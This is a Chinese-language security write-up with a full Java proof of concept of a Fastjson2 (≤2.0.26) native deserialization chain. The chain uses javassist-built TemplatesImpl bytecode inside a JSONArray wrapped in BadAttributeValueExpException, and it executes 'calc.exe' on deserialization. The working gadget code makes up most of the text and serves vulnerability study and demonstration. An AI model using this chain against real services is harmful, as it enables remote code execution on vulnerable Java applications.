根据@Y4TACKER师傅在2023-03-20发布了一篇关于Fastjson原生反序列化的文章,文章中引入注目的是利用条件限制条件,不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题,其实如果单独去使用一些关键词去搜索:Fastjson2漏洞或Fastjson2 Payload的结果内容比较乱比较杂,几乎参杂了Fastjson1的SEO搜索内容,那么就可能在一时没注意的情况下直接滑过。
一、创建一个DEMO
设置依赖项(依赖项中有个是使用的是Fastjson1.2.48的,这个就不演示了,主要还是以Fastjson2系列为主)
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>xibt</groupId>
<artifactId>com.xibt</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>Proxy</name>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version> <!-- 或者其他版本 -->
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
</dependencies>
</project>
在项目中创建一个Java类(上面的fastjson2依赖,版本根据也可自行更改为2.0.26版本,几乎都是存在问题的)
package com.example.fastjson;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// 修改这里,使用 calc.exe 打开 Windows 计算器(如果是mac需要自行修改)
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
漏洞触发点:
Fastjson2 在处理某些特殊的序列化数据时存在漏洞,该漏洞允许攻击者通过构造恶意的JSON数据触发远程代码执行。
具体触发点在于通过JSONArray
的add
方法,将构造的TemplatesImpl
对象添加到JSONArray
中。
利用方法:
通过构造TemplatesImpl
对象,设置_bytecodes
字段为经过calc.exe
执行代码的字节码。
利用BadAttributeValueExpException
类的漏洞,通过设置其val
字段为包含恶意TemplatesImpl
对象的JSONArray
,以触发漏洞。
触发方式:
触发的方式主要是通过对BadAttributeValueExpException
对象的序列化和反序列化,以触发Fastjson反序列化漏洞。
最终目的是在反序列化过程中执行恶意构造的TemplatesImpl
对象中的代码,即执行constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
从而触发恶意调用。